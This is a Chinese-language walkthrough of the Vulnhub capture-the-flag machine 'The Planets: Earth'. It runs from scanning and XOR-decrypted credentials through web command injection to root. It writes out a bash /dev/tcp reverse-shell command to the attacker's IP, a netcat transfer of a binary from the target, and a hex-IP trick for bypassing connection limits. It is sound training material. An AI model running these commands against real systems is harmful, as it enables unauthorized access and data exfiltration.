Vulnhub靶机渗透:The Planets: Earth 详细教学文档
靶机概述
The Planets: Earth 是一个难度适中的Vulnhub靶机,属于"The Planets"系列,比同系列的"水星"靶机更具挑战性。该靶机包含两个标志:用户标志和root标志,均以MD5哈希形式存储。靶机已在VirtualBox上测试通过,VMware环境可能存在兼容性问题。
环境准备
- 靶机IP:192.168.163.138
- 攻击机:Kali Linux或其他渗透测试发行版
- 网络配置:确保攻击机和靶机在同一网络段
渗透测试流程
一、信息收集阶段
1. 初始扫描
使用nmap进行基本端口扫描:
nmap -T4 -sT 192.168.163.138
2. 详细服务扫描
获取更详细的服务版本信息:
nmap -T4 -sV -A 192.168.163.138
扫描结果显示80端口开放,推测存在Web服务。
3. Web服务访问
访问靶机80端口,发现Web页面显示域名信息。需要将域名添加到hosts文件:
vim /etc/hosts
添加条目:
192.168.163.138 earth.local terratest.earth.local
二、Web应用分析
1. 目录遍历
使用dirsearch工具进行目录扫描:
dirsearch -u https://earth.local
发现/admin登录界面。
对子域名进行扫描:
dirsearch -u https://terratest.earth.local/
发现robots.txt文件,查看后发现testingnotes文件。
2. 文件分析
在testingnotes中发现testdata.txt文件,并提示该文件使用XOR加密。推测该文件可能包含密钥信息。
3. XOR解密
对testdata.txt进行XOR解密(具体解密方法需根据文件内容确定,文中未提供详细解密过程)。
三、漏洞利用
1. 登录Web应用
使用解密获得的凭据登录:
- 用户名:terra
- 密码:earthclimatechangebad4humans
2. 命令执行漏洞利用
登录后尝试命令注入:
find / -name "*flag*"
发现用户标志文件:
/var/earth_web/user_flag.txt
查看内容获取第一个flag:
cat /var/earth_web/user_flag.txt
结果为:user_flag_3353b67d6437f07ba7d34afd7d2fc27d
3. 反弹Shell尝试
直接尝试反弹Shell失败:
bash -i >& /dev/tcp/192.168.163.136/8023 0>&1
提示禁止远程连接。
4. 十六进制IP转换
将攻击机IP转换为十六进制格式后尝试(具体转换方法未详细说明)。
四、权限提升
1. 用户枚举
查看系统用户:
cat /etc/passwd
发现存在root和earth用户。
2. 查找高权限文件
发现/usr/bin/reset_root文件,尝试执行但缺少依赖文件。
3. 文件传输
将reset_root文件传输到攻击机分析:
攻击机监听:
nc -nlvp 8026 > reset_root
靶机发送:
nc 192.168.163.136 8026 < /usr/bin/reset_root
4. 文件分析
分析reset_root文件发现需要三个特定文件,在靶机中创建这些文件后再次执行。
5. 获取root密码
执行reset_root后获得root密码:Earth
6. 提权
使用root密码提权,获取root标志:
root_flag_b0da9554d29db2117b02aa8b66ec492e
关键知识点总结
- 信息收集:nmap扫描、子域名枚举、目录遍历
- 加密分析:XOR加密文件的分析与解密
- Web漏洞:命令注入漏洞的发现与利用
- 权限提升:高权限二进制文件的分析与利用
- 绕过限制:IP十六进制转换绕过连接限制
注意事项
- VMware环境可能存在兼容性问题,建议使用VirtualBox
- 反弹Shell时可能遇到连接限制,需要灵活应对
- 高权限二进制文件分析时注意依赖关系
- 社工尝试(如利用earth用户名)在本靶机中未成功
联系方式
如有问题可联系作者:SirFlash@protonmail.com(回复可能较慢)